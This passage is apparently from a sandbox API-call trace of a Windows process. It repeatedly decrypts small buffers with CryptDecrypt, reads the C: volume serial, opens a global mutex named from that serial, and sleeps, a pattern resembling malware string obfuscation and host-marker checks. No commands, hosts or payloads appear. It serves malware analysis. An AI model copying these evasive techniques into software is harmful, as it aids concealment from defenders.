(HeapHandle=0x7c0000, Flags=0x0, Size=0x40) returned 0x7c7eb8 [0038.602] CryptImportKey (in: hProv=0x2e5138, pbData=0xb0faa8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xb0fb10 | out: phKey=0xb0fb10*=0x2f2e38) returned 1 [0038.602] CryptSetKeyParam (hKey=0x2f2e38, dwParam=0x1, pbData=0xb0faf8, dwFlags=0x0) returned 1 [0038.602] CryptDecrypt (in: hKey=0x2f2e38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c7eb8, pdwDataLen=0xb0fac4 | out: pbData=0x7c7eb8, pdwDataLen=0xb0fac4) returned 1 [0038.603] CryptDestroyKey (hKey=0x2f2e38) returned 1 [0038.603] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x34) returned 0x7c7f00 [0038.603] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\10969C354B4201") returned 0x14c [0038.603] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x0) returned 0x102 [0038.603] CloseHandle (hObject=0x14c) returned 1 [0038.603] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7eb8 | out: hHeap=0x7c0000) returned 1 [0038.603] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7f00 | out: hHeap=0x7c0000) returned 1 [0038.603] Sleep (dwMilliseconds=0x3e8) [0042.034] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x20) returned 0x7c7eb8 [0042.034] CryptImportKey (in: hProv=0x2e5138, pbData=0xb0fa74, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xb0fadc | out: phKey=0xb0fadc*=0x2f2e38) returned 1 [0042.035] CryptSetKeyParam (hKey=0x2f2e38, dwParam=0x1, pbData=0xb0fac4, dwFlags=0x0) returned 1 [0042.035] CryptDecrypt (in: hKey=0x2f2e38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c7eb8, pdwDataLen=0xb0fa90 | out: pbData=0x7c7eb8, pdwDataLen=0xb0fa90) returned 1 [0042.035] CryptDestroyKey (hKey=0x2f2e38) returned 1 [0042.035] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x1e) returned 0x7c7ee0 [0042.035] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x1e) returned 0x7c7f08 [0042.035] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x90) returned 0x92abb8 [0042.035] CryptImportKey (in: hProv=0x2e5138, pbData=0xb0fa4c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xb0fab4 | out: phKey=0xb0fab4*=0x2f2e38) returned 1 [0042.035] CryptSetKeyParam (hKey=0x2f2e38, dwParam=0x1, pbData=0xb0fa9c, dwFlags=0x0) returned 1 [0042.035] CryptDecrypt (in: hKey=0x2f2e38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x92abb8, pdwDataLen=0xb0fa68 | out: pbData=0x92abb8, pdwDataLen=0xb0fa68) returned 1 [0042.035] CryptDestroyKey (hKey=0x2f2e38) returned 1 [0042.035] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x92abb8 | out: hHeap=0x7c0000) returned 1 [0042.035] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x7c7ee0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0042.035] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7f08 | out: hHeap=0x7c0000) returned 1 [0042.035] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7eb8 | out: hHeap=0x7c0000) returned 1 [0042.035] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xb0fb1c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xb0fb1c*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0042.036] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7ee0 | out: hHeap=0x7c0000) returned 1 [0042.036] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x40) returned 0x7c7eb8 [0042.036] CryptImportKey (in: hProv=0x2e5138, pbData=0xb0faa8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xb0fb10 | out: phKey=0xb0fb10*=0x2f2e38) returned 1 [0042.036] CryptSetKeyParam (hKey=0x2f2e38, dwParam=0x1, pbData=0xb0faf8, dwFlags=0x0) returned 1 [0042.036] CryptDecrypt (in: hKey=0x2f2e38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c7eb8, pdwDataLen=0xb0fac4 | out: pbData=0x7c7eb8, pdwDataLen=0xb0fac4) returned 1 [0042.036] CryptDestroyKey (hKey=0x2f2e38) returned 1 [0042.036] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x34) returned 0x7c7f00 [0042.036] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\10969C354B4201") returned 0x14c [0042.036] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x0) returned 0x102 [0042.036] CloseHandle (hObject=0x14c) returned 1 [0042.036] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7eb8 | out: hHeap=0x7c0000) returned 1 [0042.036] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7f00 | out: hHeap=0x7c0000) returned 1 [0042.036] Sleep (dwMilliseconds=0x3e8) [0043.380] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x20) returned 0x7c7eb8 [0043.380] CryptImportKey (in: hProv=0x2e5138, pbData=0xb0fa74, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xb0fadc | out: phKey=0xb0fadc*=0x2f2e38) returned 1 [0043.380] CryptSetKeyParam (hKey=0x2f2e38, dwParam=0x1, pbData=0xb0fac4, dwFlags=0x0) returned 1 [0043.380] CryptDecrypt (in: hKey=0x2f2e38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c7eb8, pdwDataLen=0xb0fa90 | out: pbData=0x7c7eb8, pdwDataLen=0xb0fa90) returned 1 [0043.380] CryptDestroyKey (hKey=0x2f2e38) returned 1 [0043.380] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x1e) returned 0x7c7ee0 [0043.380] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x1e) returned 0x7c7f08 [0043.380] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x90) returned 0x92abb8 [0043.380] CryptImportKey (in: hProv=0x2e5138, pbData=0xb0fa4c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xb0fab4 | out: phKey=0xb0fab4*=0x2f2e38) returned 1 [0043.380] CryptSetKeyParam (hKey=0x2f2e38, dwParam=0x1, pbData=0xb0fa9c, dwFlags=0x0) returned 1 [0043.380] CryptDecrypt (in: hKey=0x2f2e38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x92abb8, pdwDataLen=0xb0fa68 | out: pbData=0x92abb8, pdwDataLen=0xb0fa68) returned 1 [0043.380] CryptDestroyKey (hKey=0x2f2e38) returned 1 [0043.380] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x92abb8 | out: hHeap=0x7c0000) returned 1 [0043.380] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x7c7ee0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0043.380] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7f08 | out: hHeap=0x7c0000) returned 1 [0043.380] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7eb8 | out: hHeap=0x7c0000) returned 1 [0043.380] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xb0fb1c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xb0fb1c*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0043.381] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7ee0 | out: hHeap=0x7c0000) returned 1 [0043.381] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x40) returned 0x7c7eb8 [0043.381] CryptImportKey (in: hProv=0x2e5138, pbData=0xb0faa8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xb0fb10 | out: phKey=0xb0fb10*=0x2f2e38) returned 1 [0043.381] CryptSetKeyParam (hKey=0x2f2e38, dwParam=0x1, pbData=0xb0faf8, dwFlags=0x0) returned 1 [0043.381] CryptDecrypt (in: hKey=0x2f2e38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c7eb8, pdwDataLen=0xb0fac4 | out: pbData=0x7c7eb8, pdwDataLen=0xb0fac4) returned 1 [0043.381] CryptDestroyKey (hKey=0x2f2e38) returned 1 [0043.381] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x34) returned 0x7c7f00 [0043.381] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\10969C354B4201") returned 0x14c [0043.381] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x0) returned 0x102 [0043.381] CloseHandle (hObject=0x14c) returned 1 [0043.381] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7eb8 | out: hHeap=0x7c0000) returned 1 [0043.381] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7f00 | out: hHeap=0x7c0000) returned 1 [0043.381] Sleep (dwMilliseconds=0x3e8) [0044.397] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x20) returned 0x7c7eb8 [0044.397] CryptImportKey (in: hProv=0x2e5138, pbData=0xb0fa74, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xb0fadc | out: phKey=0xb0fadc*=0x2f2e38) returned 1 [0044.397] CryptSetKeyParam (hKey=0x2f2e38, dwParam=0x1, pbData=0xb0fac4, dwFlags=0x0) returned 1 [0044.397] CryptDecrypt (in: hKey=0x2f2e38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c7eb8, pdwDataLen=0xb0fa90 | out: pbData=0x7c7eb8, pdwDataLen=0xb0fa90) returned 1 [0044.397] CryptDestroyKey (hKey=0x2f2e38) returned 1 [0044.397] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x1e) returned 0x7c7ee0 [0044.397] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x1e) returned 0x7c7f08 [0044.397] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x90) returned 0x92abb8 [0044.397] CryptImportKey (in: hProv=0x2e5138, pbData=0xb0fa4c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xb0fab4 | out: phKey=0xb0fab4*=0x2f2e38) returned 1 [0044.397] CryptSetKeyParam (hKey=0x2f2e38, dwParam=0x1, pbData=0xb0fa9c, dwFlags=0x0) returned 1 [0044.397] CryptDecrypt (in: hKey=0x2f2e38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x92abb8, pdwDataLen=0xb0fa68 | out: pbData=0x92abb8, pdwDataLen=0xb0fa68) returned 1 [0044.397] CryptDestroyKey (hKey=0x2f2e38) returned 1 [0044.397] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x92abb8 | out: hHeap=0x7c0000) returned 1 [0044.397] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x7c7ee0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0044.397] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7f08 | out: hHeap=0x7c0000) returned 1 [0044.397] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7eb8 | out: hHeap=0x7c0000) returned 1 [0044.397] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xb0fb1c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xb0fb1c*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0044.398] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7ee0 | out: hHeap=0x7c0000) returned 1 [0044.398] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x40) returned 0x7c7eb8 [0044.398] CryptImportKey (in: hProv=0x2e5138, pbData=0xb0faa8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xb0fb10 | out: phKey=0xb0fb10*=0x2f2e38) returned 1 [0044.398] CryptSetKeyParam (hKey=0x2f2e38, dwParam=0x1, pbData=0xb0faf8, dwFlags=0x0) returned 1 [0044.398] CryptDecrypt (in: hKey=0x2f2e38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c7eb8, pdwDataLen=0xb0fac4 | out: pbData=0x7c7eb8, pdwDataLen=0xb0fac4) returned 1 [0044.398] CryptDestroyKey (hKey=0x2f2e38) returned 1 [0044.398] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x34) returned 0x7c7f00 [0044.398] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\10969C354B4201") returned 0x14c [0044.398] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x0) returned 0x102 [0044.398] CloseHandle (hObject=0x14c) returned 1 [0044.398] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7eb8 | out: hHeap=0x7c0000) returned 1 [0044.398] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7f00 | out: hHeap=0x7c0000) returned 1 [0044.398] Sleep (dwMilliseconds=0x3e8) [0046.635] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x20) returned 0x7c7eb8 [0046.635] CryptImportKey (in: hProv=0x2e5138, pbData=0xb0fa74, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xb0fadc | out: phKey=0xb0fadc*=0x2f2e38) returned 1 [0046.635] CryptSetKeyParam (hKey=0x2f2e38, dwParam=0x1, pbData=0xb0fac4, dwFlags=0x0) returned 1 [0046.635] CryptDecrypt (in: hKey=0x2f2e38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c7eb8, pdwDataLen=0xb0fa90 | out: pbData=0x7c7eb8, pdwDataLen=0xb0fa90) returned 1 [0046.635] CryptDestroyKey (hKey=0x2f2e38) returned 1 [0046.635] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x1e) returned 0x7c7ee0 [0046.635] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x1e) returned 0x7c7f08 [0046.635] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x90) returned 0x92abb8 [0046.635] CryptImportKey (in: hProv=0x2e5138, pbData=0xb0fa4c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xb0fab4 | out: phKey=0xb0fab4*=0x2f2e38) returned 1 [0046.635] CryptSetKeyParam (hKey=0x2f2e38, dwParam=0x1, pbData=0xb0fa9c, dwFlags=0x0) returned 1 [0046.635] CryptDecrypt (in: hKey=0x2f2e38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x92abb8, pdwDataLen=0xb0fa68 | out: pbData=0x92abb8, pdwDataLen=0xb0fa68) returned 1 [0046.635] CryptDestroyKey (hKey=0x2f2e38) returned 1 [0046.635] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x92abb8 | out: hHeap=0x7c0000) returned 1 [0046.635] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x7c7ee0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0046.636] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7f08 | out: hHeap=0x7c0000) returned 1 [0046.636] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7eb8 | out: hHeap=0x7c0000) returned 1 [0046.636] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xb0fb1c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xb0fb1c*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0046.636] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7ee0 | out: hHeap=0x7c0000) returned 1 [0046.636] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x40) returned 0x7c7eb8 [0046.636] CryptImportKey (in: hProv=0x2e5138, pbData=0xb0faa8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xb0fb10 | out: phKey=0xb0fb10*=0x2f2e38) returned 1 [0046.636] CryptSetKeyParam (hKey=0x2f2e38, dwParam=0x1, pbData=0xb0faf8, dwFlags=0x0) returned 1 [0046.636] CryptDecrypt (in: hKey=0x2f2e38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c7eb8, pdwDataLen=0xb0fac4 | out: pbData=0x7c7eb8, pdwDataLen=0xb0fac4) returned 1 [0046.636] CryptDestroyKey (hKey=0x2f2e38) returned 1 [0046.636] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x34) returned 0x7c7f00 [0046.636] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\10969C354B4201") returned 0x14c [0046.636] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x0) returned 0x102 [0046.636] CloseHandle (hObject=0x14c) returned 1 [0046.636] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7eb8 | out: hHeap=0x7c0000) returned 1 [0046.636] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7f00 | out: hHeap=0x7c0000) returned 1 [0046.636] Sleep (dwMilliseconds=0x3e8) [0048.302] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x20) returned 0x7c7eb8 [0048.302] CryptImportKey (in: hProv=0x2e5138, pbData=0xb0fa74, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xb0fadc | out: phKey=0xb0fadc*=0x2f2e38) returned 1 [0048.302] CryptSetKeyParam (hKey=0x2f2e38, dwParam=0x1, pbData=0xb0fac4, dwFlags=0x0) returned 1 [0048.302] CryptDecrypt (in: hKey=0x2f2e38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c7eb8, pdwDataLen=0xb0fa90 | out: pbData=0x7c7eb8, pdwDataLen=0xb0fa90) returned 1 [0048.302] CryptDestroyKey (hKey=0x2f2e38) returned 1 [0048.302] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x1e) returned 0x7c7ee0 [0048.302] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x1e) returned 0x7c7f08 [0048.302] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x90) returned 0x92abb8 [0048.302] CryptImportKey (in: hProv=0x2e5138, pbData=0xb0fa4c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xb0fab4 | out: phKey=0xb0fab4*=0x2f2e38) returned 1 [0048.302] CryptSetKeyParam (hKey=0x2f2e38, dwParam=0x1, pbData=0xb0fa9c, dwFlags=0x0) returned 1 [0048.302] CryptDecrypt (in: hKey=0x2f2e38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x92abb8, pdwDataLen=0xb0fa68 | out: pbData=0x92abb8, pdwDataLen=0xb0fa68) returned 1 [0048.302] CryptDestroyKey (hKey=0x2f2e38) returned 1 [0048.302] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x92abb8 | out: hHeap=0x7c0000) returned 1 [0048.302] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x7c7ee0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0048.302] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7f08 | out: hHeap=0x7c0000) returned 1 [0048.302] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7eb8 | out: hHeap=0x7c0000) returned 1 [0048.302] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xb0fb1c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xb0fb1c*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0048.302] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7ee0 | out: hHeap=0x7c0000) returned 1 [0048.302] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x40) returned 0x7c7eb8 [0048.302] CryptImportKey (in: hProv=0x2e5138, pbData=0xb0faa8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xb0fb10 | out: phKey=0xb0fb10*=0x2f2e38) returned 1 [0048.302] CryptSetKeyParam (hKey=0x2f2e38, dwParam=0x1, pbData=0xb0faf8, dwFlags=0x0) returned 1 [0048.302] CryptDecrypt (in: hKey=0x2f2e38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c7eb8, pdwDataLen=0xb0fac4 | out: pbData=0x7c7eb8, pdwDataLen=0xb0fac4) returned 1 [0048.302] CryptDestroyKey (hKey=0x2f2e38) returned 1 [0048.303] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x34) returned 0x7c7f00 [0048.303] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\10969C354B4201") returned 0x14c [0048.303] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x0) returned 0x102 [0048.303] CloseHandle (hObject=0x14c) returned 1 [0048.303] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7eb8 | out: hHeap=0x7c0000) returned 1 [0048.303] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7f00 | out: hHeap=0x7c0000) returned 1 [0048.303] Sleep (dwMilliseconds=0x3e8) [0049.630] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x20) returned 0x7c7eb8 [0049.630] CryptImportKey (in: hProv=0x2e5138, pbData=0xb0fa74, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xb0fadc | out: phKey=0xb0fadc*=0x2f2e38) returned 1 [0049.630] CryptSetKeyParam (hKey=0x2f2e38, dwParam=0x1, pbData=0xb0fac4, dwFlags=0x0) returned 1 [0049.630] CryptDecrypt (in: hKey=0x2f2e38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c7eb8, pdwDataLen=0xb0fa90 | out: pbData=0x7c7eb8, pdwDataLen=0xb0fa90) returned 1 [0049.630] CryptDestroyKey (hKey=0x2f2e38) returned 1 [0049.630] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x1e) returned 0x7c7ee0 [0049.630] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x1e) returned 0x7c7f08 [0049.630] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x90) returned 0x92abb8 [0049.630] CryptImportKey (in: hProv=0x2e5138, pbData=0xb0fa4c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xb0fab4 | out: phKey=0xb0fab4*=0x2f2e38) returned 1 [0049.630] CryptSetKeyParam (hKey=0x2f2e38, dwParam=0x1, pbData=0xb0fa9c, dwFlags=0x0) returned 1 [0049.630] CryptDecrypt (in: hKey=0x2f2e38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x92abb8, pdwDataLen=0xb0fa68 | out: pbData=0x92abb8, pdwDataLen=0xb0fa68) returned 1 [0049.630] CryptDestroyKey (hKey=0x2f2e38) returned 1 [0049.630] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x92abb8 | out: hHeap=0x7c0000) returned 1 [0049.630] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x7c7ee0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0049.630] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7f08 | out: hHeap=0x7c0000) returned 1 [0049.630] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7eb8 | out: hHeap=0x7c0000) returned 1 [0049.630] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xb0fb1c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xb0fb1c*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0049.630] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7ee0 | out: hHeap=0x7c0000) returned 1 [0049.630] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x40) returned 0x7c7eb8 [0049.630] CryptImportKey (in: hProv=0x2e5138, pbData=0xb0faa8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xb0fb10 | out: phKey=0xb0fb10*=0x2f2e38) returned 1 [0049.630] CryptSetKeyParam (hKey=0x2f2e38, dwParam=0x1, pbData=0xb0faf8, dwFlags=0x0) returned 1 [0049.630] CryptDecrypt (in: hKey=0x2f2e38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c7eb8, pdwDataLen=0xb0fac4 | out: pbData=0x7c7eb8, pdwDataLen=0xb0fac4) returned 1 [0049.630] CryptDestroyKey (hKey=0x2f2e38) returned 1 [0049.630] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x34) returned 0x7c7f00 [0049.630] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\10969C354B4201") returned 0x14c [0049.630] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x0) returned 0x102 [0049.631] CloseHandle (hObject=0x14c) returned 1 [0049.631] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7eb8 | out: hHeap=0x7c0000) returned 1 [0049.631] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7f00 | out: hHeap=0x7c0000) returned 1 [0049.631] Sleep (dwMilliseconds=0x3e8) [0050.977] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x20) returned 0x7c7eb8 [0050.977] CryptImportKey (in: hProv=0x2e5138, pbData=0xb0fa74, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xb0fadc | out: phKey=0xb0fadc*=0x2f2e78) returned 1 [0050.977] CryptSetKeyParam (hKey=0x2f2e78, dwParam=0x1, pbData=0xb0fac4, dwFlags=0x0) returned 1 [0050.977] CryptDecrypt (in: hKey=0x2f2e78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c7eb8, pdwDataLen=0xb0fa90 | out: pbData=0x7c7eb8, pdwDataLen=0xb0fa90) returned 1 [0050.977] CryptDestroyKey (hKey=0x2f2e78) returned 1 [0050.977] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x1e) returned 0x7c7ee0 [0050.977] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x1e) returned 0x7c7f08 [0050.977] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x90) returned 0x92abb8 [0050.977] CryptImportKey (in: hProv=0x2e5138, pbData=0xb0fa4c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xb0fab4 | out: phKey=0xb0fab4*=0x2f2e78) returned 1 [0050.977] CryptSetKeyParam (hKey=0x2f2e78, dwParam=0x1, pbData=0xb0fa9c, dwFlags=0x0) returned 1 [0050.978] CryptDecrypt (in: hKey=0x2f2e78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x92abb8, pdwDataLen=0xb0fa68 | out: pbData=0x92abb8, 